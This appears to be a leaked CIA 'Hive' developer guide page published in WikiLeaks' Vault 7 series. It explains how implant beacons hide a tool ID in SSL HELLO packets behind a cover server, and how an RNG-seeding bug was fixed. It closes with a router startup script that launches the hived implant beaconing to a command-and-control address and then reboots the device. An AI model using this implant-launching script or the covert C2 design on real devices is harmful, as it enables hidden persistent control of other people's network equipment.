# Vault 7: Projects

This publication series is about specific projects related to the Vault 7 main publication.

### Hive

# Developers Guide

15 October, 2014

- 1
- 2
…
- 12
- 13
- 14
- 15

SECRET//NOFORN
Beacon Proxy Redirection and TCP Replay Hive Engineering Development Guide
4 Beacon Proxy Redirection and TCP Replay
Like section 3.3 above, the system clock reseting to epoch causes other effects.
Hive beacons were designed to work with the Blot proxy (developed by Xetron). Blot looks for a tool ID
embedded in the HELLO packet of an SSL session initiation. If the ID is found, then it forwards the
packet to the tool-handler, otherwise it is sent to the cover server. The tool ID is embedded in the
HELLO packet using the embedData function defined in …/polarssl/library/loki_utils.c. The SSL data
structure defined in …/polarssl/include/polarssl/ssl.h is extended to include the session _checksum,
tool_id, use_custom, and xor_key. The data contained within this packet is constant with the exception
of a time stamp taken from the real-time clock and a few bytes of random data. A CRC checksum is
computed from the entire packet and is included with the HELLO packet. When Blot receives this
packet, it checks the CRC searches a list of previously seen packets for any matches. If a match is found
the packet is assumed to be a TCP replay and is dropped.
If the system clock is reset to epoch time (00:00, January 1, 1970) after a reboot and the random number
generator used to generate the random data that is placed into the HELLO packet is not properly seeded
with pseudo-random data, then the CRC computation can produce CRCs that match previously sent
HELLO packets. Such was the case discovered prior to and including Hive version 2.6.1. To eliminate
this problem, the open-source Havege (Hardware Volatile Entropy Gathering and Expansion) code that
is a part of the PolarSSL library was used to seed the system's rand function within the irand function
found in …/polarssl/library/loki_utils.c.
The following is an example script that can be used to test the effectiveness of the changes. Install it as
S99hived in the /etc/rc.d/run.d directory of a MikroTik router, adjust the address parameter to match the
test environment on the line that starts hived and reboot. The script will start hived beaconing every 10
seconds and reboot after two minutes. Hive versions prior to 2.6.2 should produce TCP replay errors in
the Honeycomb beacons log with subsequent versions producing no errors.
CAUTION: Given that this script uses an endless loop, the sleep time (120 seconds) must
be set long enough to allow the tester to obtain root access and terminate the script
before the next reboot.
8 SECRET//NOFORN//20391015
#!/bin/bash
#### Test of random number generation
# This startup script is designed for use in directory /etc/rc.d/run.d
# as S99hived. It is used for testing purposes only.
export PATH=$PATH:/rw/pckg
# Start hive
/rw/pckg/hived-mikrotik-mipsbe -a 10.6.5.191 -p 443 -d 5 -i 10 -t 0
# Wait 120 seconds and reboot
sleep 120
reboot

- 1
- 2
…
- 12
- 13
- 14
- 15